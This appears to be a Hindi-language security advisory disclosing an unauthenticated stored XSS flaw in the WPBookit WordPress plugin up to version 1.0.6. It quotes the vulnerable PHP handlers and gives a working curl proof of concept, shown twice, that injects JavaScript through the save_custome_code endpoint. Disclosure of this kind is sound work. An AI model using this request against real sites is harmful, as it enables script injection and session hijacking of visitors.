
WPBookit <= 1.0.6 - बिना प्रमाणीकरण के संग्रहीत क्रॉस-साइट स्क्रिप्टिंग
WPBookit प्लगइन अपने save_custome_code AJAX एंडपॉइंट में उपयोगकर्ता की अनुमति की पुष्टि नहीं करता है और न ही कस्टम CSS/JS कोड को सैनिटाइज़ करता है, जिससे बिना प्रमाणीकरण के हमलावर किसी भी JavaScript को इंजेक्ट कर सकते हैं जो हर पेज लोड पर निष्पादित होता है, जिसके परिणामस्वरूप स्टोर्ड XSS और संभावित सत्र अपहरण (session hijacking) होता है।
# Basic XSS injection
curl -X POST "http://localhost:1337/wp-admin/admin-ajax.php?action=wpb_ajax_post&route_name=save_custome_code" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "css_code=/* malicious */&js_code=alert('XSS');"
यह भेद्यता WPB_Setting_Controller वर्ग की save_custome_code विधि में मौजूद है। प्लगइन बिना प्रमाणीकरण वाले उपयोगकर्ताओं के लिए AJAX एंडपॉइंट पंजीकृत करता है, जिससे कोई भी आगंतुक किसी भी CSS/JS कोड को इंजेक्ट कर सकता है जो हर पेज लोड पर निष्पादित होता है।
भेद्य कोड /core/admin/classes/controllers/class.wpb-setting-controller.php:16-25:
public function save_custome_code(WP_REST_Request $request){
$css_code= $request->get_param('css_code');
$js_code= $request->get_param('js_code');
update_option( 'wpb_custom_code_data', [ 'css_code' => $css_code, 'js_code' => $js_code ]);
}
कोड निष्पादन /core/shortcodes/class-wpbookit-shortcode-abstract.php:20-27:
$wpb_custom_code= get_option( 'wpb_custom_code_data', [ 'css_code' => '', 'js_code' => '' ]);
wp_add_inline_style( 'wpb-custom-code-css', stripslashes($wpb_custom_code['css_code']));
wp_add_inline_script( 'wpb-custom-code-js', stripslashes($wpb_custom_code['js_code']) );
बिना प्रमाणीकरण के पहुंच /core/admin/classes/class.wpb-admin-routes-handler.php:15-16:
add_action( "wp_ajax_wpb_ajax_post", [ $this, 'wpb_ajax_post' ] );
add_action( "wp_ajax_nopriv_wpb_ajax_post", [ $this, 'wpb_ajax_post' ] );
रूट कॉन्फ़िगरेशन /core/admin/classes/class.wpb-admin-routes.php:118-123:
'save_custome_code' => [
'method' => 'post',
'action' => 'WPB_Setting_Controller@save_custome_code',
'nonce' => 0,
'module' => 'setting-controller'
],
curl -X POST "http://localhost:1337/wp-admin/admin-ajax.php?action=wpb_ajax_post&route_name=save_custome_code" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "css_code=/* malicious */&js_code=alert('XSS');"